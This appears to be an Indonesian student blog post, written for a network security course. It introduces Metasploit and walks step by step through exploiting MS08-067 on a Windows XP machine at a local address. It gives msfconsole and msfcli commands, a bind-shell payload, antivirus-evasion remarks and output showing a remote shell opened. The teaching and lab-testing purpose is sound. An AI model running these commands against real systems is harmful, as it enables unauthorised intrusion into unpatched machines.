Artikel ini saya tulis sebagai media pembelajaran dan untuk memenuhi tugas dari matakuliah Keamanan jaringan. Saya akan membahas tentang metasploit penetration tool.
Pengertian Metasploit
Metasploit adalah sebuah proyek keamanan komputer yang menyediakan informasi tentang kerentanan keamanan dan bantuan dalam pengujian penetrasi dan pengembangan signature IDS.
Yang
paling terkenal sub-proyeknya adalah open source, Metasploit Framework,
alat untuk mengembangkan dan melaksanakan memanfaatkan kode terhadap
mesin target jarak jauh. sub-proyek penting lainnya termasuk database
Opcode, shellcode arsip dan penelitian terkait.
Metasploit terkenal dengan anti-forensik dan evasion tools, beberapa di antaranya dibangun ke dalam Metasploit Framework.
Metasploit
dibuat oleh H. D. Moore pada tahun 2003 sebagai alat jaringan portabel
menggunakan Perl. Pada tahun 2007, Framework Metasploit telah
benar-benar ditulis ulang di Ruby. [3] Pada tanggal 21 Oktober 2009,
Proyek Metasploit mengumumkan [4] bahwa telah diakuisisi oleh Rapid7,
sebuah perusahaan keamanan yang menyediakan solusi manajemen kerentanan
terpadu.
Seperti
produk Metasploit dapat digunakan untuk menguji kerentanan sistem
komputer atau untuk masuk ke sistem remote. Seperti banyak alat-alat
keamanan informasi, Metasploit dapat digunakan untuk kegiatan yang sah
dan tidak sah. Sejak akuisisi Metasploit Framework, Rapid7 telah
menambahkan dua edisi eksklusif inti terbuka yang disebut Metasploit
Express dan Metasploit Pro.
Muncul
posisi Metasploit sebagai de facto exploit kerangka pembangunan,
menyebabkan pelepasan advisories kerentanan software, sering disertai
oleh pihak ketiga Metasploit memanfaatkan modul yang menyoroti
Exploitability, risiko dan remediasi bug tertentu. Metasploit 3.0 mulai
memasukkan alat fuzzing, digunakan untuk menemukan kerentanan software,
bukan hanya exploit bug yang diketahui. jalan ini dapat dilihat dengan
integrasi lorcon nirkabel (802.11) toolset ke Metasploit 3.0 pada
November 2006. Metasploit 4.0 dirilis pada Agustus 2011.
Metasploit Framework
Langkah-langkah dasar untuk exploit system menggunakan Framework meliputi:
- Memilih dan mengkonfigurasi exploit (kode yang memasuki sistem target dengan mengambil keuntungan dari salah satu bug tersebut; sekitar 900 eksploitasi yang berbeda untuk Windows, Unix / Linux dan Mac OS X ).
- Opsional memeriksa apakah sistem target yang dimaksud rentan terhadap eksploitasi
- Memilih dan mengkonfigurasi payload (kode yang akan dieksekusi pada sistem target jika berhasil masuk, misalnya, remote shell atau server VNC).
- Memilih teknik pengkodean sehingga sistem intrusi pencegahan (IPS) mengabaikan payload dikodekan.
- Mengeksekusi exploit
- Pendekatan modular ini memungkinkan kombinasi dari setiap yang exploit dengan payloads apapun -adalah keuntungan utama dari Framework. Hal ini memfasilitasi tugas penyerang, exploit writers dan payload writers.
Metasploit
berjalan pada Unix (termasuk Linux dan Mac OS X) dan pada Windows.
Metasploit Framework dapat diperpanjang untuk menggunakan add-ons dalam
berbagai bahasa.
Untuk
memilih exploit dan payload, beberapa informasi tentang sistem target
diperlukan, seperti versi sistem operasi dan layanan jaringan yang
terpasang. Informasi ini dapat diperoleh dengan port scanning dan OS
fingerprinting tools seperti Nmap. Kerentanan scanner seperti NeXpose,
Nessus, dan OpenVAS dapat mendeteksi kerentanan sistem target.
Metasploit dapat mengimpor kerentanan data scanner dan membandingkan
kerentanan yang diidentifikasi exploit modul untuk exploit yang akurat.
Metasploit Payload
Metasploit saat ini memiliki lebih dari 438 payloads. Beberapa darinya adalah:
- Perintah shell memungkinkan pengguna untuk menjalankan script koleksi atau menjalankan perintah sewenang-wenang terhadap tuan rumah.
- Meterpreter memungkinkan pengguna untuk mengontrol layar perangkat menggunakan VNC dan untuk browsing, upload dan download file.
- payloads dinamis memungkinkan pengguna untuk menghindari pertahanan anti-virus dengan menghasilkan payloads yang unik.
Sumber : https://www.maxteroit.com/2016/12/apa-itu-metasploit-dan-pengertianya.html
Teknik Dasar Metasploit
langkah-langkah instalasi metasploit pada ubuntu.
Metasploit : msfconsole
Lets go.. pertama kali kita coba dengan testing manual menggunakan metasploit console (msfconsole) yang mana test ini dilakukan pada single mesin windows xp sp2 dengan melakukan percoban exploit ms windows MS08-067 yaitu vulner pada microsoft windows di port 445 beberapa waktu yang lalu yang sempet bikin microsoft kelimpungan :D . Dari terminal console ketik perintah berikut, seperti pada gambar dibawah:
$ msfconsole
Untuk perintah-perintah lainnya bisa dipelajari dengan mengetikkan help :- msf > help
Core Commands ============= Command Description ------- ----------- ? Help menu back Move back from the current context banner Display an awesome metasploit banner cd Change the current working directory connect Communicate with a host exit Exit the console help Help menu info Displays information about one or more module irb Drop into irb scripting mode jobs Displays and manages jobs load Load a framework plugin loadpath Searches for and loads modules from a path quit Exit the console resource Run the commands stored in a file route Route traffic through a session save Saves the active datastores search Searches module names and descriptions sessions Dump session listings and display information about sessions set Sets a variable to a value setg Sets a global variable to a value show Displays modules of a given type, or all modules sleep Do nothing for the specified number of seconds unload Unload a framework plugin unset Unsets one or more variables unsetg Unsets one or more global variables use Selects a module by name version Show the framework and console library version numbers
Untuk melihat list exploits-nya , gunakan perintah :- msf > show exploits
List seluruh exploit yang ada kira-kira seperti ini (saya paste sebagian saja biar ndak terlalu panjang) :windows/smb/ms05_039_pnp Microsoft Plug and Play Service Overflow windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN Registry Overflow windows/smb/ms06_025_rras Microsoft RRAS Service Overflow windows/smb/ms06_040_netapi Microsoft Server Service NetpwPathCanonicalize Overflow windows/smb/ms06_066_nwapi Microsoft Services MS06-066 nwapi32.dll windows/smb/ms06_066_nwwks Microsoft Services MS06-066 nwwks.dll windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
Scan mesin target menggunakan nmap. Dalam contoh kasus kali ini kita gunakan kompi dg ip 192.168.1.28 :- msf > sudo nmap -v -sS -A -O 192.168.1.28
[*] exec: sudo nmap -v -sS -A -O 192.168.1.28 [sudo] password for test:Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-21 23:50 CIT Initiating ARP Ping Scan at 23:50 Scanning 192.168.1.28 [1 port] Host 192.168.1.28 appears to be up ... good. Interesting ports on 192.168.1.28: Not shown: 1712 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer) Device type: general purpose Running: Microsoft Windows XP OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3 Network Distance: 1 hop TCP Sequence Prediction: Difficulty=258 (Good luck!) IP ID Sequence Generation: Incremental Service Info: OS: Windows
Dari hasil scan kita ketahui bahwa kemungkinan OS-nya menggunakan OS Windows XP dengan port 445-nya terbuka. Mari kita coba kompi ini dengan menggunakan exploit windows/smb/ms08_067_netapi.- msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >Lihat opsi dari exploit ini dengan mengetikkan show options :- msf exploit(ms08_067_netapi) > show options
Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting
Dari opsi diatas, maka kita perlu set terlebih dahulu RHOST ( komputer target) dengan mengetikkan :- msf exploit(ms08_067_netapi) > set rhost 192.168.1.28
rhost => 192.168.1.28Untuk RPORT, kita tidak perlu melakukan setting apa-apa karena vulnerability ini memang mengeksploitasi vulnerability di port 445. Untuk exploit target diisi dengan OS komputer target. Dalam langkah ini kita menggunakan angka 0 yang berarti automatic target. Untuk melihat OS target apa saja, ketik :- msf exploit(ms08_067_netapi) > show targets
Exploit targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (NX) 4 Windows XP SP3 English (NX) -------- cut -----------
Sekarang kita tentukan jenis payload yang ingin dipakai. Dalam langkah ini saya ingin menggunakan tcp_bind shell (akses command prompt di kompi target) :- msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
payloads => windows/shell_bind_tcpUntuk melihat payload apa saja dalam metasploit, gunakan perintah :- msf exploit(ms08_067_netapi) > show payloads
Compatible payloads =================== Name Description ---- ----------- generic/debug_trap Generic x86 Debug Trap generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager(IPv6) generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager(No NX Support) generic/debug_trap/bind_tcp Generic x86 Debug Trap, Bind TCP Stager ----------- dipotong sampai disini ---------------
Nahh.. setting sudah selesai dilakukan. Untuk melihat hasil konfigurasinya bisa dicek kembali dengan menggunakan show options :- msf exploit(ms08_067_netapi) > show options
Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.28 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST 192.168.1.28 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting
sekarang jalankan exploit :- msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Triggering the vulnerability... [*] Command shell session 1 opened (192.168.1.6:33270 -> 192.168.1.28:4444) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 192.168.1.28 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.254 C:\WINDOWS\system32>
Dan ternyata emang masih bolong… :p
Metasploit : msfcli
Dari langkah-langkah diatas… sebenarnya bisa dilakukan exploitasi dengan menggunakan satu perintah dari console, dan diakomodir dengan menggunakan msfcli yang notabene sebenarnya adalah metasploit command line interface.
Untuk melihat manual perintahnya bisa dilihat dari help maupun
manpage-nyawiki-nya metasploit.- bash-4.1$ msfcli –help
[*] Please wait while we load the module tree... Error: Invalid module: --help Usage: /usr/local/bin/msfcli [mode] ================================================================= Mode Description ---- ----------- (H)elp You're looking at it baby! (S)ummary Show information about this module (O)ptions Show available options for this module (A)dvanced Show available advanced options for this module (I)DS Evasion Show available ids evasion options for this module (P)ayloads Show available payloads for this module (T)argets Show available targets for this exploit module (AC)tions Show available actions for this auxiliary module (C)heck Run the check routine of the selected module (E)xecute Execute the selected module
So.. mari kita coba. Contoh kasusnya sama seperti artikel msfconsole biar ndak capek nulisnya yaitu:IP Addr Target : 192.168.1.28 Port target : 445 Exploit : windows/smb/ms08_067_netapi Payload : windows/shell_bind_tcp Exploit target : 0
Dan implementasinya menjadi seperti ini :- bash$ msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.1.28 TARGET=0 PAYLOAD=generic/shell_bind_tcp E
[*] Please wait while we load the module tree... [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (NX) [*] Triggering the vulnerability... [*] Command shell session 1 opened (192.168.1.6:36804 -> 192.168.1.28:4444) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>ipconfig ipconfig Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 192.168.1.28 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.1.254 C:\WINDOWS\system32>
Implementasi yang sama juga bisa dilakukan pada metasploit GUI (msfgui) dan metasploit berbasis web (msfweb). Silahkan dicoba sendiri untuk pengimplementasiannya. Dari teknik dasar ini silahkan dikembangkan dengan teknik-teknik yang lain.
Tidak ada komentar:
Posting Komentar